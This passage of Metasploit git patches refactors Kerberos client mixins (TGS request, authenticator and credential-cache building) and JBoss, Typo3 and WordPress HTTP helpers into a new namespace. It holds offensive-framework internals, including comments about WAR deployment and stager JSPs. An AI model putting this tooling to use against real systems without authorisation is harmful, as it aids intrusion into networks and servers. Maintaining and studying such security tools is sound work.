checksum_body + ) + + checksum + end + end end - - body = build_tgs_request_body(opts.merge( - enc_auth_data: enc_auth_data - )) - - checksum = opts[:checksum] || build_tgs_body_checksum(:body => body) - - if opts[:auhtenticator] - authenticator = opts[:authenticator] - else - authenticator = build_authenticator(opts.merge( - subkey: subkey, - checksum: checksum - )) - end - - if opts[:ap_req] - ap_req = opts[:ap_req] - else - ap_req = build_ap_req(opts.merge(:authenticator => authenticator)) - end - - pa_ap_req = Rex::Proto::Kerberos::Model::PreAuthData.new( - type: Rex::Proto::Kerberos::Model::PA_TGS_REQ, - value: ap_req.encode - ) - - pa_data = [] - pa_data.push(pa_ap_req) - if opts[:pa_data] - opts[:pa_data].each { |pa| pa_data.push(pa) } - end - - request = Rex::Proto::Kerberos::Model::KdcRequest.new( - pvno: 5, - msg_type: Rex::Proto::Kerberos::Model::TGS_REQ, - pa_data: pa_data, - req_body: body - ) - - request - end - - # Builds the encrypted TGS authorization data - # - # @param opts [Hash{Symbol => }] - # @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data - # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey - # @return [Rex::Proto::Kerberos::Model::EncryptedData] - # @raise [RuntimeError] if auth_data option isn't provided - # @see Rex::Proto::Kerberos::Model::AuthorizationData - # @see Rex::Proto::Kerberos::Model::EncryptionKey - # @see Rex::Proto::Kerberos::Model::EncryptedData - def build_enc_auth_data(opts = {}) - auth_data = opts[:auth_data] - - if auth_data.nil? - raise ::RuntimeError, 'auth_data option required on #build_enc_auth_data' - end - - subkey = opts[:subkey] || build_subkey(opts) - - encrypted = auth_data.encrypt(subkey.type, subkey.value) - - e_data = Rex::Proto::Kerberos::Model::EncryptedData.new( - etype: subkey.type, - cipher: encrypted - ) - - e_data - end - - # Builds a KRB_AP_REQ message - # - # @param opts [Hash{Symbol => }] - # @option opts [Fixnum] :pvno - # @option opts [Fixnum] :msg_type - # @option opts [Fixnum] :ap_req_options - # @option opts [Rex::Proto::Kerberos::Model::Ticket] :ticket - # @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :authenticator - # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :session_key - # @return [Rex::Proto::Kerberos::Model::EncryptionKey] - # @raise [RuntimeError] if ticket option isn't provided - # @see Rex::Proto::Kerberos::Model::Ticket - # @see Rex::Proto::Kerberos::Model::EncryptedData - # @see Rex::Proto::Kerberos::Model::EncryptionKey - def build_ap_req(opts = {}) - pvno = opts[:pvno] || Rex::Proto::Kerberos::Model::VERSION - msg_type = opts[:msg_type] || Rex::Proto::Kerberos::Model::AP_REQ - options = opts[:ap_req_options] || 0 - ticket = opts[:ticket] - authenticator = opts[:authenticator] || build_authenticator(opts) - session_key = opts[:session_key] || build_subkey(opts) - - if ticket.nil? - raise ::RuntimeError, 'Building a AP-REQ without ticket not supported' - end - - enc_authenticator = Rex::Proto::Kerberos::Model::EncryptedData.new( - etype: session_key.type, - cipher: authenticator.encrypt(session_key.type, session_key.value) - ) - - ap_req = Rex::Proto::Kerberos::Model::ApReq.new( - pvno: pvno, - msg_type: msg_type, - options: options, - ticket: ticket, - authenticator: enc_authenticator - ) - - ap_req - end - - # Builds a kerberos authenticator for a TGS request - # - # @param opts [Hash{Symbol => }] - # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname - # @option opts [String] :realm - # @option opts [Time] :ctime - # @option opts [Fixnum] :cusec - # @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum - # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey - # @return [Rex::Proto::Kerberos::Model::Authenticator] - # @see Rex::Proto::Kerberos::Model::PrincipalName - # @see Rex::Proto::Kerberos::Model::Checksum - # @see Rex::Proto::Kerberos::Model::EncryptionKey - # @see Rex::Proto::Kerberos::Model::Authenticator - def build_authenticator(opts = {}) - cname = opts[:cname] || build_client_name(opts) - realm = opts[:realm] || '' - ctime = opts[:ctime] || Time.now - cusec = opts[:cusec] || ctime.usec - checksum = opts[:checksum] || build_tgs_body_checksum(opts) - subkey = opts[:subkey] || build_subkey(opts) - - authenticator = Rex::Proto::Kerberos::Model::Authenticator.new( - vno: 5, - crealm: realm, - cname: cname, - checksum: checksum, - cusec: cusec, - ctime: ctime, - subkey: subkey - ) - - authenticator - end - - # Builds an encryption key to protect the data sent in the TGS request. - # - # @param opts [Hash{Symbol => }] - # @option opts [Fixnum] :subkey_type - # @option opts [String] :subkey_value - # @return [Rex::Proto::Kerberos::Model::EncryptionKey] - # @see Rex::Proto::Kerberos::Model::EncryptionKey - def build_subkey(opts={}) - subkey_type = opts[:subkey_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC - subkey_value = opts[:subkey_value] || Rex::Text.rand_text(16) - - subkey = Rex::Proto::Kerberos::Model::EncryptionKey.new( - type: subkey_type, - value: subkey_value - ) - - subkey - end - - - # Builds a kerberos TGS request body - # - # @param opts [Hash{Symbol => }] - # @option opts [Fixnum] :options - # @option opts [Time] :from - # @option opts [Time] :till - # @option opts [Time] :rtime - # @option opts [Fixnum] :nonce - # @option opts [Fixnum] :etype - # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname - # @option opts [String] :realm - # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname - # @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data - # @return [Rex::Proto::Kerberos::Model::KdcRequestBody] - # @see Rex::Proto::Kerberos::Model::PrincipalName - # @see Rex::Proto::Kerberos::Model::KdcRequestBody - def build_tgs_request_body(opts = {}) - options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable - from = opts[:from] || Time.utc('1970-01-01-01 00:00:00') - till = opts[:till] || Time.utc('1970-01-01-01 00:00:00') - rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00') - nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i - etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC] - cname = opts[:cname] || build_client_name(opts) - realm = opts[:realm] || '' - sname = opts[:sname] || build_server_name(opts) - enc_auth_data = opts[:enc_auth_data] || nil - - body = Rex::Proto::Kerberos::Model::KdcRequestBody.new( - options: options, - cname: cname, - realm: realm, - sname: sname, - from: from, - till: till, - rtime: rtime, - nonce: nonce, - etype: etype, - enc_auth_data: enc_auth_data - ) - - body - end - - # Builds a Kerberos TGS Request body checksum - # - # @param opts [Hash{Symbol => }] - # @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body - # @return [Rex::Proto::Kerberos::Model::Checksum] - # @see #build_tgs_request_body - # @see Rex::Proto::Kerberos::Model::Checksum - def build_tgs_body_checksum(opts = {}) - body = opts[:body] || build_tgs_request_body(opts) - checksum_body = body.checksum(Rex::Proto::Kerberos::Crypto::RSA_MD5) - checksum = Rex::Proto::Kerberos::Model::Checksum.new( - type: 7, - checksum: checksum_body - ) - - checksum end end end diff --git a/lib/msf/core/exploit/kerberos/client/tgs_response.rb b/lib/msf/core/exploit/kerberos/client/tgs_response.rb index 16d26f7e32..bc16bbc9e5 100644 --- a/lib/msf/core/exploit/kerberos/client/tgs_response.rb +++ b/lib/msf/core/exploit/kerberos/client/tgs_response.rb @@ -1,71 +1,77 @@ # -*- coding: binary -*- require 'rex/proto/kerberos' -module Msf::Exploit::Remote::Kerberos - module Client - module TgsResponse +module Msf + class Exploit + class Remote + module Kerberos + module Client + module TgsResponse - # Extracts the Kerberos credentials, buildint a MIT Cache Credential, - # from a Kerberos TGS response. - # - # @param res [Rex::Proto::Kerberos::Model::KdcResponse] - # @param key [String] - # @return [Rex::Proto::Kerberos::CredentialCache::Cache] - # @see Rex::Proto::Kerberos::Model::EncKdcResponse - # @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode - # @see Msf::Kerberos::Client::CacheCredential - # @see Rex::Proto::Kerberos::CredentialCache::Cache - def extract_kerb_creds(res, key) - decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_TGS_RESPONSE) - enc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res) + # Extracts the Kerberos credentials, buildint a MIT Cache Credential, + # from a Kerberos TGS response. + # + # @param res [Rex::Proto::Kerberos::Model::KdcResponse] + # @param key [String] + # @return [Rex::Proto::Kerberos::CredentialCache::Cache] + # @see Rex::Proto::Kerberos::Model::EncKdcResponse + # @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode + # @see Msf::Kerberos::Client::CacheCredential + # @see Rex::Proto::Kerberos::CredentialCache::Cache + def extract_kerb_creds(res, key) + decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_TGS_RESPONSE) + enc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res) - client = create_cache_principal( - name_type: res.cname.name_type, - realm: res.crealm, - components: res.cname.name_string - ) + client = create_cache_principal( + name_type: res.cname.name_type, + realm: res.crealm, + components: res.cname.name_string + ) - server = create_cache_principal( - name_type: enc_res.sname.name_type, - realm: enc_res.srealm, - components: enc_res.sname.name_string - ) + server = create_cache_principal( + name_type: enc_res.sname.name_type, + realm: enc_res.srealm, + components: enc_res.sname.name_string + ) - key = create_cache_key_block( - key_type: enc_res.key.type, - key_value: enc_res.key.value - ) + key = create_cache_key_block( + key_type: enc_res.key.type, + key_value: enc_res.key.value + ) - times = create_cache_times( - auth_time: enc_res.auth_time, - start_time: enc_res.start_time, - end_time: enc_res.end_time, - renew_till: enc_res.renew_till - ) + times = create_cache_times( + auth_time: enc_res.auth_time, + start_time: enc_res.start_time, + end_time: enc_res.end_time, + renew_till: enc_res.renew_till + ) - credential = create_cache_credential( - client: client, - server: server, - key: key, - time: times, - ticket: res.ticket.encode, - flags: enc_res.flags - ) + credential = create_cache_credential( + client: client, + server: server, + key: key, + time: times, + ticket: res.ticket.encode, + flags: enc_res.flags + ) - cache_principal = create_cache_principal( - name_type: res.cname.name_type, # NT_PRINCIPAL - #realm: realm,# opts[:realm], - realm: res.crealm, - #components: user # [opts[:cname]] - components: res.cname.name_string - ) + cache_principal = create_cache_principal( + name_type: res.cname.name_type, # NT_PRINCIPAL + #realm: realm,# opts[:realm], + realm: res.crealm, + #components: user # [opts[:cname]] + components: res.cname.name_string + ) - cache = create_cache( - primary_principal: cache_principal, - credentials: [credential] - ) + cache = create_cache( + primary_principal: cache_principal, + credentials: [credential] + ) - cache + cache + end + end + end end end end diff --git a/spec/lib/msf/core/exploit/kerberos/client/as_request_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/as_request_spec.rb index 0bb19abe6d..c1be46e24a 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/as_request_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/as_request_spec.rb @@ -2,12 +2,12 @@ require 'spec_helper' require 'rex/proto/kerberos' -require 'msf/kerberos/client' +require 'msf/core/exploit/kerberos/client' -describe Msf::Kerberos::Client::AsRequest do +describe Msf::Exploit::Remote::Kerberos::Client::AsRequest do subject do mod = ::Msf::Exploit.new - mod.extend ::Msf::Kerberos::Client + mod.extend ::Msf::Exploit::Remote::Kerberos::Client mod.send(:initialize) mod end diff --git a/spec/lib/msf/core/exploit/kerberos/client/as_response_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/as_response_spec.rb index 68584e7156..cebe701d68 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/as_response_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/as_response_spec.rb @@ -2,12 +2,12 @@ require 'spec_helper' require 'rex/proto/kerberos' -require 'msf/kerberos/client' +require 'msf/core/exploit/kerberos/client' -describe Msf::Kerberos::Client::AsResponse do +describe Msf::Exploit::Remote::Kerberos::Client::AsResponse do subject do mod = ::Msf::Exploit.new - mod.extend ::Msf::Kerberos::Client + mod.extend ::Msf::Exploit::Remote::Kerberos::Client mod.send(:initialize) mod end diff --git a/spec/lib/msf/core/exploit/kerberos/client/base_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/base_spec.rb index cb1f03a495..87fb9e42ca 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/base_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/base_spec.rb @@ -2,12 +2,12 @@ require 'spec_helper' require 'rex/proto/kerberos' -require 'msf/kerberos/client' +require 'msf/core/exploit/kerberos/client' -describe Msf::Kerberos::Client::Base do +describe Msf::Exploit::Remote::Kerberos::Client::Base do subject do mod = ::Msf::Exploit.new - mod.extend ::Msf::Kerberos::Client + mod.extend ::Msf::Exploit::Remote::Kerberos::Client mod.send(:initialize) mod end diff --git a/spec/lib/msf/core/exploit/kerberos/client/cache_credential_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/cache_credential_spec.rb index 31688efa0f..159caf6b9d 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/cache_credential_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/cache_credential_spec.rb @@ -2,12 +2,12 @@ require 'spec_helper' require 'rex/proto/kerberos' -require 'msf/kerberos/client' +require 'msf/core/exploit/kerberos/client' -describe Msf::Kerberos::Client::CacheCredential do +describe Msf::Exploit::Remote::Kerberos::Client::CacheCredential do subject do mod = ::Msf::Exploit.new - mod.extend ::Msf::Kerberos::Client + mod.extend ::Msf::Exploit::Remote::Kerberos::Client mod.send(:initialize) mod end diff --git a/spec/lib/msf/core/exploit/kerberos/client/pac_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/pac_spec.rb index 6251d30e46..698872fc5a 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/pac_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/pac_spec.rb @@ -2,12 +2,12 @@ require 'spec_helper' require 'rex/proto/kerberos' -require 'msf/kerberos/client' +require 'msf/core/exploit/kerberos/client' -describe Msf::Kerberos::Client::Pac do +describe Msf::Exploit::Remote::Kerberos::Client::Pac do subject do mod = ::Msf::Exploit.new - mod.extend ::Msf::Kerberos::Client + mod.extend ::Msf::Exploit::Remote::Kerberos::Client mod.send(:initialize) mod end diff --git a/spec/lib/msf/core/exploit/kerberos/client/tgs_request_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/tgs_request_spec.rb index d05810c7a5..842ea2af51 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/tgs_request_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/tgs_request_spec.rb @@ -2,12 +2,12 @@ require 'spec_helper' require 'rex/proto/kerberos' -require 'msf/kerberos/client' +require 'msf/core/exploit/kerberos/client' -describe Msf::Kerberos::Client::TgsRequest do +describe Msf::Exploit::Remote::Kerberos::Client::TgsRequest do subject(:mod) do mod = ::Msf::Exploit.new - mod.extend ::Msf::Kerberos::Client + mod.extend ::Msf::Exploit::Remote::Kerberos::Client mod.send(:initialize) mod end diff --git a/spec/lib/msf/core/exploit/kerberos/client/tgs_response_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/tgs_response_spec.rb index fe60ddcd52..6f399b0f82 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/tgs_response_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/tgs_response_spec.rb @@ -2,12 +2,12 @@ require 'spec_helper' require 'rex/proto/kerberos' -require 'msf/kerberos/client' +require 'msf/core/exploit/kerberos/client' -describe Msf::Kerberos::Client::TgsResponse do +describe Msf::Exploit::Remote::Kerberos::Client::TgsResponse do subject do mod = ::Msf::Exploit.new - mod.extend ::Msf::Kerberos::Client + mod.extend ::Msf::Exploit::Remote::Kerberos::Client mod.send(:initialize) mod end From 6571a8f2c3ec6c542ef2ffa5bf15d4d08ce8a4c0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 15 Oct 2015 10:22:54 -0500 Subject: [PATCH 0905/2172] Move http apps mixins to the old convention folder --- lib/msf/{ => core/exploit}/http/jboss.rb | 0 lib/msf/{ => core/exploit}/http/jboss/base.rb | 0 lib/msf/{ => core/exploit}/http/jboss/bean_shell.rb | 0 lib/msf/{ => core/exploit}/http/jboss/bean_shell_scripts.rb | 0 .../{ => core/exploit}/http/jboss/deployment_file_repository.rb | 0 .../exploit}/http/jboss/deployment_file_repository_scripts.rb | 0 lib/msf/{ => core/exploit}/http/typo3.rb | 0 lib/msf/{ => core/exploit}/http/typo3/login.rb | 0 lib/msf/{ => core/exploit}/http/typo3/uris.rb | 0 lib/msf/{ => core/exploit}/http/wordpress.rb | 0 lib/msf/{ => core/exploit}/http/wordpress/admin.rb | 0 lib/msf/{ => core/exploit}/http/wordpress/base.rb | 0 lib/msf/{ => core/exploit}/http/wordpress/helpers.rb | 0 lib/msf/{ => core/exploit}/http/wordpress/login.rb | 0 lib/msf/{ => core/exploit}/http/wordpress/posts.rb | 0 lib/msf/{ => core/exploit}/http/wordpress/uris.rb | 0 lib/msf/{ => core/exploit}/http/wordpress/users.rb | 0 lib/msf/{ => core/exploit}/http/wordpress/version.rb | 0 lib/msf/{ => core/exploit}/http/wordpress/xml_rpc.rb | 0 19 files changed, 0 insertions(+), 0 deletions(-) rename lib/msf/{ => core/exploit}/http/jboss.rb (100%) rename lib/msf/{ => core/exploit}/http/jboss/base.rb (100%) rename lib/msf/{ => core/exploit}/http/jboss/bean_shell.rb (100%) rename lib/msf/{ => core/exploit}/http/jboss/bean_shell_scripts.rb (100%) rename lib/msf/{ => core/exploit}/http/jboss/deployment_file_repository.rb (100%) rename lib/msf/{ => core/exploit}/http/jboss/deployment_file_repository_scripts.rb (100%) rename lib/msf/{ => core/exploit}/http/typo3.rb (100%) rename lib/msf/{ => core/exploit}/http/typo3/login.rb (100%) rename lib/msf/{ => core/exploit}/http/typo3/uris.rb (100%) rename lib/msf/{ => core/exploit}/http/wordpress.rb (100%) rename lib/msf/{ => core/exploit}/http/wordpress/admin.rb (100%) rename lib/msf/{ => core/exploit}/http/wordpress/base.rb (100%) rename lib/msf/{ => core/exploit}/http/wordpress/helpers.rb (100%) rename lib/msf/{ => core/exploit}/http/wordpress/login.rb (100%) rename lib/msf/{ => core/exploit}/http/wordpress/posts.rb (100%) rename lib/msf/{ => core/exploit}/http/wordpress/uris.rb (100%) rename lib/msf/{ => core/exploit}/http/wordpress/users.rb (100%) rename lib/msf/{ => core/exploit}/http/wordpress/version.rb (100%) rename lib/msf/{ => core/exploit}/http/wordpress/xml_rpc.rb (100%) diff --git a/lib/msf/http/jboss.rb b/lib/msf/core/exploit/http/jboss.rb similarity index 100% rename from lib/msf/http/jboss.rb rename to lib/msf/core/exploit/http/jboss.rb diff --git a/lib/msf/http/jboss/base.rb b/lib/msf/core/exploit/http/jboss/base.rb similarity index 100% rename from lib/msf/http/jboss/base.rb rename to lib/msf/core/exploit/http/jboss/base.rb diff --git a/lib/msf/http/jboss/bean_shell.rb b/lib/msf/core/exploit/http/jboss/bean_shell.rb similarity index 100% rename from lib/msf/http/jboss/bean_shell.rb rename to lib/msf/core/exploit/http/jboss/bean_shell.rb diff --git a/lib/msf/http/jboss/bean_shell_scripts.rb b/lib/msf/core/exploit/http/jboss/bean_shell_scripts.rb similarity index 100% rename from lib/msf/http/jboss/bean_shell_scripts.rb rename to lib/msf/core/exploit/http/jboss/bean_shell_scripts.rb diff --git a/lib/msf/http/jboss/deployment_file_repository.rb b/lib/msf/core/exploit/http/jboss/deployment_file_repository.rb similarity index 100% rename from lib/msf/http/jboss/deployment_file_repository.rb rename to lib/msf/core/exploit/http/jboss/deployment_file_repository.rb diff --git a/lib/msf/http/jboss/deployment_file_repository_scripts.rb b/lib/msf/core/exploit/http/jboss/deployment_file_repository_scripts.rb similarity index 100% rename from lib/msf/http/jboss/deployment_file_repository_scripts.rb rename to lib/msf/core/exploit/http/jboss/deployment_file_repository_scripts.rb diff --git a/lib/msf/http/typo3.rb b/lib/msf/core/exploit/http/typo3.rb similarity index 100% rename from lib/msf/http/typo3.rb rename to lib/msf/core/exploit/http/typo3.rb diff --git a/lib/msf/http/typo3/login.rb b/lib/msf/core/exploit/http/typo3/login.rb similarity index 100% rename from lib/msf/http/typo3/login.rb rename to lib/msf/core/exploit/http/typo3/login.rb diff --git a/lib/msf/http/typo3/uris.rb b/lib/msf/core/exploit/http/typo3/uris.rb similarity index 100% rename from lib/msf/http/typo3/uris.rb rename to lib/msf/core/exploit/http/typo3/uris.rb diff --git a/lib/msf/http/wordpress.rb b/lib/msf/core/exploit/http/wordpress.rb similarity index 100% rename from lib/msf/http/wordpress.rb rename to lib/msf/core/exploit/http/wordpress.rb diff --git a/lib/msf/http/wordpress/admin.rb b/lib/msf/core/exploit/http/wordpress/admin.rb similarity index 100% rename from lib/msf/http/wordpress/admin.rb rename to lib/msf/core/exploit/http/wordpress/admin.rb diff --git a/lib/msf/http/wordpress/base.rb b/lib/msf/core/exploit/http/wordpress/base.rb similarity index 100% rename from lib/msf/http/wordpress/base.rb rename to lib/msf/core/exploit/http/wordpress/base.rb diff --git a/lib/msf/http/wordpress/helpers.rb b/lib/msf/core/exploit/http/wordpress/helpers.rb similarity index 100% rename from lib/msf/http/wordpress/helpers.rb rename to lib/msf/core/exploit/http/wordpress/helpers.rb diff --git a/lib/msf/http/wordpress/login.rb b/lib/msf/core/exploit/http/wordpress/login.rb similarity index 100% rename from lib/msf/http/wordpress/login.rb rename to lib/msf/core/exploit/http/wordpress/login.rb diff --git a/lib/msf/http/wordpress/posts.rb b/lib/msf/core/exploit/http/wordpress/posts.rb similarity index 100% rename from lib/msf/http/wordpress/posts.rb rename to lib/msf/core/exploit/http/wordpress/posts.rb diff --git a/lib/msf/http/wordpress/uris.rb b/lib/msf/core/exploit/http/wordpress/uris.rb similarity index 100% rename from lib/msf/http/wordpress/uris.rb rename to lib/msf/core/exploit/http/wordpress/uris.rb diff --git a/lib/msf/http/wordpress/users.rb b/lib/msf/core/exploit/http/wordpress/users.rb similarity index 100% rename from lib/msf/http/wordpress/users.rb rename to lib/msf/core/exploit/http/wordpress/users.rb diff --git a/lib/msf/http/wordpress/version.rb b/lib/msf/core/exploit/http/wordpress/version.rb similarity index 100% rename from lib/msf/http/wordpress/version.rb rename to lib/msf/core/exploit/http/wordpress/version.rb diff --git a/lib/msf/http/wordpress/xml_rpc.rb b/lib/msf/core/exploit/http/wordpress/xml_rpc.rb similarity index 100% rename from lib/msf/http/wordpress/xml_rpc.rb rename to lib/msf/core/exploit/http/wordpress/xml_rpc.rb From 7da3b4958ee822add34dada639666085c1829083 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 15 Oct 2015 10:35:07 -0500 Subject: [PATCH 0906/2172] Change mixins namespaces --- lib/msf/core.rb | 5 -- lib/msf/core/exploit/http/jboss.rb | 49 ++++++------ lib/msf/core/exploit/http/jboss/base.rb | 2 +- lib/msf/core/exploit/http/jboss/bean_shell.rb | 2 +- .../exploit/http/jboss/bean_shell_scripts.rb | 2 +- .../http/jboss/deployment_file_repository.rb | 2 +- .../deployment_file_repository_scripts.rb | 2 +- lib/msf/core/exploit/http/typo3.rb | 34 ++++---- lib/msf/core/exploit/http/typo3/login.rb | 2 +- lib/msf/core/exploit/http/typo3/uris.rb | 2 +- lib/msf/core/exploit/http/wordpress.rb | 78 ++++++++++--------- lib/msf/core/exploit/http/wordpress/admin.rb | 2 +- lib/msf/core/exploit/http/wordpress/base.rb | 2 +- .../core/exploit/http/wordpress/helpers.rb | 2 +- lib/msf/core/exploit/http/wordpress/login.rb | 2 +- lib/msf/core/exploit/http/wordpress/posts.rb | 2 +- lib/msf/core/exploit/http/wordpress/uris.rb | 2 +- lib/msf/core/exploit/http/wordpress/users.rb | 2 +- .../core/exploit/http/wordpress/version.rb | 2 +- .../core/exploit/http/wordpress/xml_rpc.rb | 2 +- lib/msf/core/exploit/mixins.rb | 5 ++ 21 files changed, 107 insertions(+), 96 deletions(-) diff --git a/lib/msf/core.rb b/lib/msf/core.rb index 7b44b365b4..311e2ef780 100644 --- a/lib/msf/core.rb +++ b/lib/msf/core.rb @@ -67,11 +67,6 @@ require 'msf/core/nop' require 'msf/core/payload' require 'msf/core/post' -# Custom HTTP Modules -require 'msf/http/wordpress' -require 'msf/http/typo3' -require 'msf/http/jboss' - # Kerberos Support require 'msf/kerberos/client' diff --git a/lib/msf/core/exploit/http/jboss.rb b/lib/msf/core/exploit/http/jboss.rb index 0f9feb2bfb..5f1f29881e 100644 --- a/lib/msf/core/exploit/http/jboss.rb +++ b/lib/msf/core/exploit/http/jboss.rb @@ -1,33 +1,36 @@ # -*- coding: binary -*- -# This module provides a way of interacting with JBoss installations module Msf - module HTTP - module JBoss - require 'msf/http/jboss/base' - require 'msf/http/jboss/bean_shell' - require 'msf/http/jboss/bean_shell_scripts' - require 'msf/http/jboss/deployment_file_repository' - require 'msf/http/jboss/deployment_file_repository_scripts' + class Exploit + class Remote + module HTTP + # This module provides a way of interacting with JBoss installations + module JBoss + require 'msf/core/exploit/http/jboss/base' + require 'msf/core/exploit/http/jboss/bean_shell' + require 'msf/core/exploit/http/jboss/bean_shell_scripts' + require 'msf/core/exploit/http/jboss/deployment_file_repository' + require 'msf/core/exploit/http/jboss/deployment_file_repository_scripts' - include Msf::Exploit::Remote::HttpClient - include Msf::HTTP::JBoss::Base - include Msf::HTTP::JBoss::BeanShell - include Msf::HTTP::JBoss::BeanShellScripts - include Msf::HTTP::JBoss::DeploymentFileRepository - include Msf::HTTP::JBoss::DeploymentFileRepositoryScripts + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::JBoss::Base + include Msf::Exploit::Remote::HTTP::JBoss::BeanShell + include Msf::Exploit::Remote::HTTP::JBoss::BeanShellScripts + include Msf::Exploit::Remote::HTTP::JBoss::DeploymentFileRepository + include Msf::Exploit::Remote::HTTP::JBoss::DeploymentFileRepositoryScripts - def initialize(info = {}) - super + def initialize(info = {}) + super - register_options( - [ - OptString.new('TARGETURI', [true, 'The URI path of the JMX console', '/jmx-console']), - OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']]), - OptString.new('PACKAGE', [false, 'The package containing the BSHDeployer service']) - ], self.class) + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI path of the JMX console', '/jmx-console']), + OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']]), + OptString.new('PACKAGE', [false, 'The package containing the BSHDeployer service']) + ], Msf::Exploit::Remote::HTTP::JBoss) + end + end end - end end end diff --git a/lib/msf/core/exploit/http/jboss/base.rb b/lib/msf/core/exploit/http/jboss/base.rb index 42bac3e80b..521d7e1c8a 100644 --- a/lib/msf/core/exploit/http/jboss/base.rb +++ b/lib/msf/core/exploit/http/jboss/base.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- -module Msf::HTTP::JBoss::Base +module Msf::Exploit::Remote::HTTP::JBoss::Base # Deploys a WAR through HTTP uri invoke # diff --git a/lib/msf/core/exploit/http/jboss/bean_shell.rb b/lib/msf/core/exploit/http/jboss/bean_shell.rb index b7c3a2b3cc..3bd6219791 100644 --- a/lib/msf/core/exploit/http/jboss/bean_shell.rb +++ b/lib/msf/core/exploit/http/jboss/bean_shell.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- -module Msf::HTTP::JBoss::BeanShell +module Msf::Exploit::Remote::HTTP::JBoss::BeanShell DEFAULT_PACKAGES = %w{ deployer scripts } diff --git a/lib/msf/core/exploit/http/jboss/bean_shell_scripts.rb b/lib/msf/core/exploit/http/jboss/bean_shell_scripts.rb index 418120beaf..f8c2b5fc71 100644 --- a/lib/msf/core/exploit/http/jboss/bean_shell_scripts.rb +++ b/lib/msf/core/exploit/http/jboss/bean_shell_scripts.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- -module Msf::HTTP::JBoss::BeanShellScripts +module Msf::Exploit::Remote::HTTP::JBoss::BeanShellScripts # Generates a Bean Shell Script. # diff --git a/lib/msf/core/exploit/http/jboss/deployment_file_repository.rb b/lib/msf/core/exploit/http/jboss/deployment_file_repository.rb index 8241e22f0b..688079d6c1 100644 --- a/lib/msf/core/exploit/http/jboss/deployment_file_repository.rb +++ b/lib/msf/core/exploit/http/jboss/deployment_file_repository.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- -module Msf::HTTP::JBoss::DeploymentFileRepository +module Msf::Exploit::Remote::HTTP::JBoss::DeploymentFileRepository # Upload a text file with DeploymentFileRepository.store() # diff --git a/lib/msf/core/exploit/http/jboss/deployment_file_repository_scripts.rb b/lib/msf/core/exploit/http/jboss/deployment_file_repository_scripts.rb index 1ba7d23258..0fcef5270f 100644 --- a/lib/msf/core/exploit/http/jboss/deployment_file_repository_scripts.rb +++ b/lib/msf/core/exploit/http/jboss/deployment_file_repository_scripts.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- -module Msf::HTTP::JBoss::DeploymentFileRepositoryScripts +module Msf::Exploit::Remote::HTTP::JBoss::DeploymentFileRepositoryScripts # Generate a stager JSP to write the second stager to the # deploy/management directory. It is only used with HEAD/GET requests diff --git a/lib/msf/core/exploit/http/typo3.rb b/lib/msf/core/exploit/http/typo3.rb index 7c3ad2780f..b6e9b407b1 100644 --- a/lib/msf/core/exploit/http/typo3.rb +++ b/lib/msf/core/exploit/http/typo3.rb @@ -1,24 +1,28 @@ # -*- coding: binary -*- -# This module provides a way of interacting with typo3 installations module Msf - module HTTP - module Typo3 - require 'msf/http/typo3/login' - require 'msf/http/typo3/uris' + class Exploit + class Remote + module HTTP + # This module provides a way of interacting with typo3 installations + module Typo3 + require 'msf/core/exploit/http/typo3/login' + require 'msf/core/exploit/http/typo3/uris' - include Msf::Exploit::Remote::HttpClient - include Msf::HTTP::Typo3::Login - include Msf::HTTP::Typo3::URIs + include 